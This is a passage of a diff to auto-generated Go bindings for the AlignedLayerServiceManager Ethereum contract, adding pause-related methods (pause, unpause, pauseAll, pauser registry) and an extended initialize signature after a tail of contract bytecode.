9082015260408082018490526000908360608460076107d05a03fa90508080613cf657fe5b5080613d345760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b60448201526064016102b9565b505092915050565b6040805180820190915260008082526020820152613d58614ac5565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa90508080613d9357fe5b5080613d345760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b60448201526064016102b9565b613dd9614ae3565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b604080518082019091526000808252602082015260008080613ec1600080516020615d9e833981519152866157c1565b90505b613ecd816147f4565b9093509150600080516020615d9e8339815191528283098303613f06576040805180820190915290815260208101919091529392505050565b600080516020615d9e833981519152600182089050613ec4565b604080518082018252868152602080820186905282518084019093528683528201849052600091829190613f52614b08565b60005b600281101561410d576000613f6b826006615b18565b9050848260028110613f7f57613f7f6157ab565b60200201515183613f918360006156b1565b600c8110613fa157613fa16157ab565b6020020152848260028110613fb857613fb86157ab565b60200201516020015183826001613fcf91906156b1565b600c8110613fdf57613fdf6157ab565b6020020152838260028110613ff657613ff66157ab565b60200201515151836140098360026156b1565b600c8110614019576140196157ab565b6020020152838260028110614030576140306157ab565b60200201515160016020020151836140498360036156b1565b600c8110614059576140596157ab565b6020020152838260028110614070576140706157ab565b60200201516020015160006002811061408b5761408b6157ab565b60200201518361409c8360046156b1565b600c81106140ac576140ac6157ab565b60200201528382600281106140c3576140c36157ab565b6020020151602001516001600281106140de576140de6157ab565b6020020151836140ef8360056156b1565b600c81106140ff576140ff6157ab565b602002015250600101613f55565b50614116614b27565b60006020826101808560088cfa9151919c9115159b50909950505050505050505050565b6033546001600160a01b0316331461270a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102b9565b60fb546001600160a01b03161580156141b557506001600160a01b03821615155b6142375760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a4016102b9565b60fc81905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26116f982613bb4565b60606000806142888461447f565b61ffff166001600160401b038111156142a3576142a3614bd0565b6040519080825280601f01601f1916602001820160405280156142cd576020820181803683370190505b5090506000805b8251821080156142e5575061010081105b1561331c576001811b93508584161561432c578060f81b83838151811061430e5761430e6157ab565b60200101906001600160f81b031916908160001a9053508160010191505b614335816158f9565b90506142d4565b606554604080516001600160a01b03928316815291831660208301527fe11cddf1816a43318ca175bbc52cd0185436e9cbead7c83acc54a73e461717e3910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6097805460ff19168215159081179091556040519081527f40e4ed880a29e0f6ddce307457fb75cddf4feef7d3ecb0301bfdf4976a0e2dfc9060200160405180910390a150565b6000806143f884614876565b9050808360ff166001901b116144765760405162461bcd60e51b815260206004820152603f60248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206269746d61702065786365656473206d61782076616c75650060648201526084016102b9565b90505b92915050565b6000805b821561447957614494600184615831565b90921691806144a281615d7c565b915050614483565b60408051808201909152600080825260208201526102008261ffff16106145065760405162461bcd60e51b815260206004820152601060248201526f7363616c61722d746f6f2d6c6172676560801b60448201526064016102b9565b8161ffff16600103614519575081614479565b6040805180820190915260008082526020820181905284906001905b8161ffff168661ffff161061458257600161ffff871660ff83161c81169003614565576145628484613d3c565b93505b61456f8384613d3c565b92506201fffe600192831b169101614535565b509195945050505050565b604080518082019091526000808252602082015281511580156145b257506020820151155b156145d0575050604080518082019091526000808252602082015290565b604051806040016040528083600001518152602001600080516020615d9e833981519152846020015161460391906157c1565b61461b90600080516020615d9e833981519152615831565b905292915050565b919050565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff166146e55760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016102b9565b6146ee82614628565b6116f98161433c565b60006020845161470791906157c1565b1561478e5760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a4016102b9565b8260205b8551811161129c576147a56002856157c1565b6000036147c9578160005280860151602052604060002091506002840493506147e2565b8086015160005281602052604060002091506002840493505b6147ed6020826156b1565b9050614792565b60008080600080516020615d9e8339815191526003600080516020615d9e83398151915286600080516020615d9e83398151915288890909089050600061486a827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f52600080516020615d9e8339815191526149fe565b91959194509092505050565b6000610100825111156148ff5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a4016102b9565b815160000361491057506000919050565b60008083600081518110614926576149266157ab565b0160200151600160f89190911c81901b92505b84518110156149f557848181518110614954576149546157ab565b0160200151600160f89190911c1b91508282116149e95760405162461bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a4016102b9565b91811791600101614939565b50909392505050565b600080614a09614b27565b614a11614b45565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa92508280614a4e57fe5b5082614a9c5760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c75726500000000000060448201526064016102b9565b505195945050505050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b6040518060400160405280614af6614b63565b8152602001614b03614b63565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b80356001600160601b03198116811461462357600080fd5b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715614c0857614c08614bd0565b60405290565b60405161010081016001600160401b0381118282101715614c0857614c08614bd0565b604051601f8201601f191681016001600160401b0381118282101715614c5957614c59614bd0565b604052919050565b60006001600160401b03831115614c7a57614c7a614bd0565b614c8d601f8401601f1916602001614c31565b9050828152838383011115614ca157600080fd5b828260208301376000602084830101529392505050565b600082601f830112614cc957600080fd5b614cd883833560208501614c61565b9392505050565b6001600160a01b0381168114610c1557600080fd5b600080600080600080600080610100898b031215614d1157600080fd5b883597506020890135965060408901359550614d2f60608a01614bb8565b94506080890135935060a08901356001600160401b03811115614d5157600080fd5b614d5d8b828c01614cb8565b93505060c0890135915060e0890135614d7581614cdf565b809150509295985092959890939650565b600060208284031215614d9857600080fd5b813561447681614cdf565b600060208284031215614db557600080fd5b5035919050565b60ff81168114610c1557600080fd5b600060208284031215614ddd57600080fd5b813561447681614dbc565b600060408284031215614dfa57600080fd5b614e02614be6565b9050813581526020820135602082015292915050565b600082601f830112614e2957600080fd5b614e31614be6565b806040840185811115614e4357600080fd5b845b81811015614e5d578035845260209384019301614e45565b509095945050505050565b600060808284031215614e7a57600080fd5b614e82614be6565b9050614e8e8383614e18565b8152614e9d8360408401614e18565b602082015292915050565b6000806000806101208587031215614ebf57600080fd5b84359350614ed08660208701614de8565b9250614edf8660608701614e68565b9150614eee8660e08701614de8565b905092959194509250565b60008060408385031215614f0c57600080fd5b8235614f1781614cdf565b946020939093013593505050565b6020808252825182820181905260009190848201906040850190845b81811015614f665783516001600160a01b031683529284019291840191600101614f41565b50909695505050505050565b8015158114610c1557600080fd5b600060208284031215614f9257600080fd5b813561447681614f72565b803563ffffffff8116811461462357600080fd5b60006001600160401b03821115614fca57614fca614bd0565b5060051b60200190565b600082601f830112614fe557600080fd5b81356020614ffa614ff583614fb1565b614c31565b8083825260208201915060208460051b87010193508684111561501c57600080fd5b602086015b8481101561503f5761503281614f9d565b8352918301918301615021565b509695505050505050565b600082601f83011261505b57600080fd5b8135602061506b614ff583614fb1565b8083825260208201915060208460061b87010193508684111561508d57600080fd5b602086015b8481101561503f576150a48882614de8565b835291830191604001615092565b600082601f8301126150c357600080fd5b813560206150d3614ff583614fb1565b82815260059290921b840181019181810190868411156150f257600080fd5b8286015b8481101561503f5780356001600160401b038111156151155760008081fd5b6151238986838b0101614fd4565b8452509183019183016150f6565b6000610180828403121561514457600080fd5b61514c614c0e565b905081356001600160401b038082111561516557600080fd5b61517185838601614fd4565b8352602084013591508082111561518757600080fd5b6151938583860161504a565b602084015260408401359150808211156151ac57600080fd5b6151b88583860161504a565b60408401526151ca8560608601614e68565b60608401526151dc8560e08601614de8565b60808401526101208401359150808211156151f657600080fd5b61520285838601614fd4565b60a084015261014084013591508082111561521c57600080fd5b61522885838601614fd4565b60c084015261016084013591508082111561524257600080fd5b5061524f848285016150b2565b60e08301525092915050565b60008060006060848603121561527057600080fd5b8335925061528060208501614f9d565b915060408401356001600160401b0381111561529b57600080fd5b6152a786828701615131565b9150509250925092565b60008151808452602080850194506020840160005b838110156152eb5781516001600160601b0316875295820195908201906001016152c6565b509495945050505050565b604081526000835160408084015261531160808401826152b1565b90506020850151603f1984830301606085015261532e82826152b1565b925050508260208301529392505050565b60008083601f84011261535157600080fd5b5081356001600160401b0381111561536857600080fd5b60208301915083602082850101111561538057600080fd5b9250929050565b60008060006040848603121561539c57600080fd5b83356001600160401b038111156153b257600080fd5b6153be8682870161533f565b909790965060209590950135949350505050565b600080604083850312156153e557600080fd5b82356153f081614cdf565b915060208301356001600160401b038082111561540c57600080fd5b908401906060828703121561542057600080fd5b60405160608101818110838211171561543b5761543b614bd0565b60405282358281111561544d57600080fd5b61545988828601614cb8565b82525060208301356020820152604083013560408201528093505050509250929050565b60006020828403121561548f57600080fd5b81356001600160401b038111156154a557600080fd5b8201601f810184136154b657600080fd5b6154c584823560208401614c61565b949350505050565b6000806000606084860312156154e257600080fd5b83359250602084013561528081614cdf565b6000806000806060858703121561550a57600080fd5b8435935060208501356001600160401b0381111561552757600080fd5b6155338782880161533f565b9598909750949560400135949350505050565b600080600080600060a0868803121561555e57600080fd5b853561556981614cdf565b9450602086013561557981614cdf565b9350604086013561558981614cdf565b9250606086013561559981614cdf565b949793965091946080013592915050565b600080600080600080600060e0888a0312156155c557600080fd5b8735965060208801359550604088013594506155e360608901614bb8565b93506080880135925060a08801356001600160401b0381111561560557600080fd5b6156118a828b01614cb8565b92505060c0880135905092959891949750929550565b6000806020838503121561563a57600080fd5b82356001600160401b038082111561565157600080fd5b818501915085601f83011261566557600080fd5b81358181111561567457600080fd5b8660208260051b850101111561568957600080fd5b60209290920196919550909350505050565b634e487b7160e01b600052601160045260246000fd5b808201808211156144795761447961569b565b91825260601b6001600160601b031916602082015260340190565b6000602082840312156156f157600080fd5b815161447681614cdf565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561575857600080fd5b815161447681614f72565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b6000826157de57634e487b7160e01b600052601260045260246000fd5b500690565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b818103818111156144795761447961569b565b60006020828403121561585657600080fd5b5051919050565b60006020828403121561586f57600080fd5b81516001600160c01b038116811461447657600080fd5b60006020828403121561589857600080fd5b815161447681614dbc565b6001600160601b0381168114610c1557600080fd5b6000604082840312156158ca57600080fd5b6158d2614be6565b82516158dd81614cdf565b815260208301516158ed816158a3565b60208201529392505050565b60006001820161590b5761590b61569b565b5060010190565b60006020828403121561592457600080fd5b815167ffffffffffffffff198116811461447657600080fd5b60006020828403121561594f57600080fd5b8151614476816158a3565b6001600160601b0382811682821603908082111561597a5761597a61569b565b5092915050565b63ffffffff60e01b8360e01b1681526000600482018351602080860160005b838110156159bc578151855293820193908201906001016159a0565b5092979650505050505050565b8183823760009101908152919050565b60208082526052908201527f536572766963654d616e61676572426173652e6f6e6c7952656769737472794360408201527f6f6f7264696e61746f723a2063616c6c6572206973206e6f742074686520726560608201527133b4b9ba393c9031b7b7b93234b730ba37b960711b608082015260a00190565b6000815180845260005b81811015615a7757602081850181015186830182015201615a5b565b506000602082860101526020601f19601f83011685010191505092915050565b60018060a01b0383168152604060208201526000825160606040840152615ac160a0840182615a51565b90506020840151606084015260408401516080840152809150509392505050565b602081526000614cd86020830184615a51565b6001600160601b03818116838216028082169190828114613d3457613d3461569b565b80820281158282048414176144795761447961569b565b6001600160a01b038616815263ffffffff851660208201526080604082018190528101839052828460a0830137600060a08483010152600060a0601f19601f86011683010190508260608301529695505050505050565b60006101008a83528960208401528860408401526001600160601b0319881660608401528660808401528060a0840152615bc281840187615a51565b60c084019590955250506001600160a01b039190911660e0909101529695505050505050565b60008235609e19833603018112615bfe57600080fd5b9190910192915050565b803561462381614cdf565b8183526000602080850194508260005b858110156152eb578135615c3681614cdf565b6001600160a01b0316875281830135615c4e816158a3565b6001600160601b0316878401526040968701969190910190600101615c23565b60208082528181018390526000906040808401600586901b8501820187855b88811015615d6e57878303603f190184528135368b9003609e19018112615cb357600080fd5b8a0160a0813536839003601e19018112615ccc57600080fd5b820188810190356001600160401b03811115615ce757600080fd5b8060061b3603821315615cf957600080fd5b828752615d098388018284615c13565b92505050615d18888301615c08565b6001600160a01b03168886015281870135878601526060615d3a818401614f9d565b63ffffffff16908601526080615d51838201614f9d565b63ffffffff16950194909452509285019290850190600101615c8d565b509098975050505050505050565b600061ffff808316818103615d9357615d9361569b565b600101939250505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd470ea46f246ccfc58f7a93aa09bc6245a6818e97b1a160d186afe78993a3b194a0424c535369676e6174757265436865636b65722e636865636b5369676e617475a26469706673582212205998fafeb5eab20d19cf0bd86f2eecb1e9eff99b69e6178a9513067dd2808c5564736f6c63430008180033", } // ContractAlignedLayerServiceManagerABI is the input ABI used to generate the binding from. @@ -708,6 +708,99 @@ func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerCal return _ContractAlignedLayerServiceManager.Contract.Owner(&_ContractAlignedLayerServiceManager.CallOpts) } +// Paused is a free data retrieval call binding the contract method 0x5ac86ab7. +// +// Solidity: function paused(uint8 index) view returns(bool) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerCaller) Paused(opts *bind.CallOpts, index uint8) (bool, error) { + var out []interface{} + err := _ContractAlignedLayerServiceManager.contract.Call(opts, &out, "paused", index) + + if err != nil { + return *new(bool), err + } + + out0 := *abi.ConvertType(out[0], new(bool)).(*bool) + + return out0, err + +} + +// Paused is a free data retrieval call binding the contract method 0x5ac86ab7. +// +// Solidity: function paused(uint8 index) view returns(bool) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerSession) Paused(index uint8) (bool, error) { + return _ContractAlignedLayerServiceManager.Contract.Paused(&_ContractAlignedLayerServiceManager.CallOpts, index) +} + +// Paused is a free data retrieval call binding the contract method 0x5ac86ab7. +// +// Solidity: function paused(uint8 index) view returns(bool) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerCallerSession) Paused(index uint8) (bool, error) { + return _ContractAlignedLayerServiceManager.Contract.Paused(&_ContractAlignedLayerServiceManager.CallOpts, index) +} + +// Paused0 is a free data retrieval call binding the contract method 0x5c975abb. +// +// Solidity: function paused() view returns(uint256) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerCaller) Paused0(opts *bind.CallOpts) (*big.Int, error) { + var out []interface{} + err := _ContractAlignedLayerServiceManager.contract.Call(opts, &out, "paused0") + + if err != nil { + return *new(*big.Int), err + } + + out0 := *abi.ConvertType(out[0], new(*big.Int)).(**big.Int) + + return out0, err + +} + +// Paused0 is a free data retrieval call binding the contract method 0x5c975abb. +// +// Solidity: function paused() view returns(uint256) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerSession) Paused0() (*big.Int, error) { + return _ContractAlignedLayerServiceManager.Contract.Paused0(&_ContractAlignedLayerServiceManager.CallOpts) +} + +// Paused0 is a free data retrieval call binding the contract method 0x5c975abb. +// +// Solidity: function paused() view returns(uint256) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerCallerSession) Paused0() (*big.Int, error) { + return _ContractAlignedLayerServiceManager.Contract.Paused0(&_ContractAlignedLayerServiceManager.CallOpts) +} + +// PauserRegistry is a free data retrieval call binding the contract method 0x886f1195. +// +// Solidity: function pauserRegistry() view returns(address) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerCaller) PauserRegistry(opts *bind.CallOpts) (common.Address, error) { + var out []interface{} + err := _ContractAlignedLayerServiceManager.contract.Call(opts, &out, "pauserRegistry") + + if err != nil { + return *new(common.Address), err + } + + out0 := *abi.ConvertType(out[0], new(common.Address)).(*common.Address) + + return out0, err + +} + +// PauserRegistry is a free data retrieval call binding the contract method 0x886f1195. +// +// Solidity: function pauserRegistry() view returns(address) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerSession) PauserRegistry() (common.Address, error) { + return _ContractAlignedLayerServiceManager.Contract.PauserRegistry(&_ContractAlignedLayerServiceManager.CallOpts) +} + +// PauserRegistry is a free data retrieval call binding the contract method 0x886f1195. +// +// Solidity: function pauserRegistry() view returns(address) +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerCallerSession) PauserRegistry() (common.Address, error) { + return _ContractAlignedLayerServiceManager.Contract.PauserRegistry(&_ContractAlignedLayerServiceManager.CallOpts) +} + // RegistryCoordinator is a free data retrieval call binding the contract method 0x6d14a987. // // Solidity: function registryCoordinator() view returns(address) @@ -1065,25 +1158,25 @@ func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTra return _ContractAlignedLayerServiceManager.Contract.EnableVerifier(&_ContractAlignedLayerServiceManager.TransactOpts, verifierIdx) } -// Initialize is a paid mutator transaction binding the contract method 0xc0c53b8b. +// Initialize is a paid mutator transaction binding the contract method 0xf7013ef6. // -// Solidity: function initialize(address _initialOwner, address _rewardsInitiator, address _alignedAggregator) returns() -func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTransactor) Initialize(opts *bind.TransactOpts, _initialOwner common.Address, _rewardsInitiator common.Address, _alignedAggregator common.Address) (*types.Transaction, error) { - return _ContractAlignedLayerServiceManager.contract.Transact(opts, "initialize", _initialOwner, _rewardsInitiator, _alignedAggregator) +// Solidity: function initialize(address _initialOwner, address _rewardsInitiator, address _alignedAggregator, address _pauserRegistry, uint256 _initialPausedStatus) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTransactor) Initialize(opts *bind.TransactOpts, _initialOwner common.Address, _rewardsInitiator common.Address, _alignedAggregator common.Address, _pauserRegistry common.Address, _initialPausedStatus *big.Int) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.contract.Transact(opts, "initialize", _initialOwner, _rewardsInitiator, _alignedAggregator, _pauserRegistry, _initialPausedStatus) } -// Initialize is a paid mutator transaction binding the contract method 0xc0c53b8b. +// Initialize is a paid mutator transaction binding the contract method 0xf7013ef6. // -// Solidity: function initialize(address _initialOwner, address _rewardsInitiator, address _alignedAggregator) returns() -func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerSession) Initialize(_initialOwner common.Address, _rewardsInitiator common.Address, _alignedAggregator common.Address) (*types.Transaction, error) { - return _ContractAlignedLayerServiceManager.Contract.Initialize(&_ContractAlignedLayerServiceManager.TransactOpts, _initialOwner, _rewardsInitiator, _alignedAggregator) +// Solidity: function initialize(address _initialOwner, address _rewardsInitiator, address _alignedAggregator, address _pauserRegistry, uint256 _initialPausedStatus) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerSession) Initialize(_initialOwner common.Address, _rewardsInitiator common.Address, _alignedAggregator common.Address, _pauserRegistry common.Address, _initialPausedStatus *big.Int) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.Contract.Initialize(&_ContractAlignedLayerServiceManager.TransactOpts, _initialOwner, _rewardsInitiator, _alignedAggregator, _pauserRegistry, _initialPausedStatus) } -// Initialize is a paid mutator transaction binding the contract method 0xc0c53b8b. +// Initialize is a paid mutator transaction binding the contract method 0xf7013ef6. // -// Solidity: function initialize(address _initialOwner, address _rewardsInitiator, address _alignedAggregator) returns() -func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTransactorSession) Initialize(_initialOwner common.Address, _rewardsInitiator common.Address, _alignedAggregator common.Address) (*types.Transaction, error) { - return _ContractAlignedLayerServiceManager.Contract.Initialize(&_ContractAlignedLayerServiceManager.TransactOpts, _initialOwner, _rewardsInitiator, _alignedAggregator) +// Solidity: function initialize(address _initialOwner, address _rewardsInitiator, address _alignedAggregator, address _pauserRegistry, uint256 _initialPausedStatus) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTransactorSession) Initialize(_initialOwner common.Address, _rewardsInitiator common.Address, _alignedAggregator common.Address, _pauserRegistry common.Address, _initialPausedStatus *big.Int) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.Contract.Initialize(&_ContractAlignedLayerServiceManager.TransactOpts, _initialOwner, _rewardsInitiator, _alignedAggregator, _pauserRegistry, _initialPausedStatus) } // InitializeAggregator is a paid mutator transaction binding the contract method 0x800fb61f. @@ -1107,6 +1200,69 @@ func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTra return _ContractAlignedLayerServiceManager.Contract.InitializeAggregator(&_ContractAlignedLayerServiceManager.TransactOpts, _alignedAggregator) } +// InitializePauser is a paid mutator transaction binding the contract method 0x2585b25b. +// +// Solidity: function initializePauser(address _pauserRegistry, uint256 _initialPausedStatus) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTransactor) InitializePauser(opts *bind.TransactOpts, _pauserRegistry common.Address, _initialPausedStatus *big.Int) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.contract.Transact(opts, "initializePauser", _pauserRegistry, _initialPausedStatus) +} + +// InitializePauser is a paid mutator transaction binding the contract method 0x2585b25b. +// +// Solidity: function initializePauser(address _pauserRegistry, uint256 _initialPausedStatus) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerSession) InitializePauser(_pauserRegistry common.Address, _initialPausedStatus *big.Int) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.Contract.InitializePauser(&_ContractAlignedLayerServiceManager.TransactOpts, _pauserRegistry, _initialPausedStatus) +} + +// InitializePauser is a paid mutator transaction binding the contract method 0x2585b25b. +// +// Solidity: function initializePauser(address _pauserRegistry, uint256 _initialPausedStatus) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTransactorSession) InitializePauser(_pauserRegistry common.Address, _initialPausedStatus *big.Int) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.Contract.InitializePauser(&_ContractAlignedLayerServiceManager.TransactOpts, _pauserRegistry, _initialPausedStatus) +} + +// Pause is a paid mutator transaction binding the contract method 0x136439dd. +// +// Solidity: function pause(uint256 newPausedStatus) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTransactor) Pause(opts *bind.TransactOpts, newPausedStatus *big.Int) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.contract.Transact(opts, "pause", newPausedStatus) +} + +// Pause is a paid mutator transaction binding the contract method 0x136439dd. +// +// Solidity: function pause(uint256 newPausedStatus) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerSession) Pause(newPausedStatus *big.Int) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.Contract.Pause(&_ContractAlignedLayerServiceManager.TransactOpts, newPausedStatus) +} + +// Pause is a paid mutator transaction binding the contract method 0x136439dd. +// +// Solidity: function pause(uint256 newPausedStatus) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTransactorSession) Pause(newPausedStatus *big.Int) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.Contract.Pause(&_ContractAlignedLayerServiceManager.TransactOpts, newPausedStatus) +} + +// PauseAll is a paid mutator transaction binding the contract method 0x595c6a67. +// +// Solidity: function pauseAll() returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTransactor) PauseAll(opts *bind.TransactOpts) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.contract.Transact(opts, "pauseAll") +} + +// PauseAll is a paid mutator transaction binding the contract method 0x595c6a67. +// +// Solidity: function pauseAll() returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerSession) PauseAll() (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.Contract.PauseAll(&_ContractAlignedLayerServiceManager.TransactOpts) +} + +// PauseAll is a paid mutator transaction binding the contract method 0x595c6a67. +// +// Solidity: function pauseAll() returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTransactorSession) PauseAll() (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.Contract.PauseAll(&_ContractAlignedLayerServiceManager.TransactOpts) +} + // RegisterOperatorToAVS is a paid mutator transaction binding the contract method 0x9926ee7d. // // Solidity: function registerOperatorToAVS(address operator, (bytes,bytes32,uint256) operatorSignature) returns() @@ -1212,6 +1368,27 @@ func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTra return _ContractAlignedLayerServiceManager.Contract.SetDisabledVerifiers(&_ContractAlignedLayerServiceManager.TransactOpts, bitmap) } +// SetPauserRegistry is a paid mutator transaction binding the contract method 0x10d67a2f. +// +// Solidity: function setPauserRegistry(address newPauserRegistry) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTransactor) SetPauserRegistry(opts *bind.TransactOpts, newPauserRegistry common.Address) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.contract.Transact(opts, "setPauserRegistry", newPauserRegistry) +} + +// SetPauserRegistry is a paid mutator transaction binding the contract method 0x10d67a2f. +// +// Solidity: function setPauserRegistry(address newPauserRegistry) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerSession) SetPauserRegistry(newPauserRegistry common.Address) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.Contract.SetPauserRegistry(&_ContractAlignedLayerServiceManager.TransactOpts, newPauserRegistry) +} + +// SetPauserRegistry is a paid mutator transaction binding the contract method 0x10d67a2f. +// +// Solidity: function setPauserRegistry(address newPauserRegistry) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTransactorSession) SetPauserRegistry(newPauserRegistry common.Address) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.Contract.SetPauserRegistry(&_ContractAlignedLayerServiceManager.TransactOpts, newPauserRegistry) +} + // SetRewardsInitiator is a paid mutator transaction binding the contract method 0x3bc28c8c. // // Solidity: function setRewardsInitiator(address newRewardsInitiator) returns() @@ -1275,6 +1452,27 @@ func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTra return _ContractAlignedLayerServiceManager.Contract.TransferOwnership(&_ContractAlignedLayerServiceManager.TransactOpts, newOwner) } +// Unpause is a paid mutator transaction binding the contract method 0xfabc1cbc. +// +// Solidity: function unpause(uint256 newPausedStatus) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTransactor) Unpause(opts *bind.TransactOpts, newPausedStatus *big.Int) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.contract.Transact(opts, "unpause", newPausedStatus) +} + +// Unpause is a paid mutator transaction binding the contract method 0xfabc1cbc. +// +// Solidity: function unpause(uint256 newPausedStatus) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerSession) Unpause(newPausedStatus *big.Int) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.Contract.Unpause(&_ContractAlignedLayerServiceManager.TransactOpts, newPausedStatus) +} + +// Unpause is a paid mutator transaction binding the contract method 0xfabc1cbc. +// +// Solidity: function unpause(uint256 newPausedStatus) returns() +func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerTransactorSession) Unpause(newPausedStatus *big.Int) (*types.Transaction, error) { + return _ContractAlignedLayerServiceManager.Contract.Unpause(&_ContractAlignedLayerServiceManager.TransactOpts, newPausedStatus) +} + // UpdateAVSMetadataURI is a paid mutator transaction binding the contract method 0xa98fb355. // // Solidity: function updateAVSMetadataURI(string _metadataURI) returns() @@ -2210,6 +2408,286 @@ func (_ContractAlignedLayerServiceManager *ContractAlignedLayerServiceManagerFil return event, nil } +// ContractAlignedLayerServiceManagerPausedIterator is returned from FilterPaused and is used to iterate over the raw logs and unpacked data for Paused events raised by the ContractAlignedLayerServiceManager contract. +type 